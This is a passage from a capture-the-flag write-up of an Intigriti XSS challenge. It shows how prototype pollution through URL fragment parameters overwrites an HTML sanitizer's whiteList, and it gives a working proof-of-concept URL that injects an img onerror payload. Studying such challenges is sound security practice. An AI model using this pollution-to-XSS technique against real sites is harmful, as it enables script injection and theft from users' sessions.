  • For example, a tag is allowed and href, title, target are the allowed attributes. After searching for script gadgets here, I can’t find any.

Overwriting the WhiteList :

  • Overwriting whitelist ... url: http://localhost:8000/?page=1#a[__proto__][whiteList]=xss

  • As you could see, we have successfully overwritten the whiteList.

  • In order to make it work, we need to inject key-value pairs. key as HTML-Tag and value as attributes.

url : a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain) - [url-encoded]

Final PoC

PoC: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain)

URL decoded: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=<img src=x onerror=alert(document.domain)>&a[__proto__][whiteList][img]=src=x onerror=alert(document.domain)

Final Thoughts

  • It was really fun. I am glad I was able to solve it. After I read some other write ups of this challenge, I observed that there were some pocs already available. But, I am glad I was able to get deep into it and solve it myself.

Resources

  • https://www.youtube.com/watch?v=GhJTy5-X3kA

  • https://www.youtube.com/watch?v=54GYCl7Beh4 [Language: Tamil]

  • https://www.w3schools.com/js/js_object_constructors.asp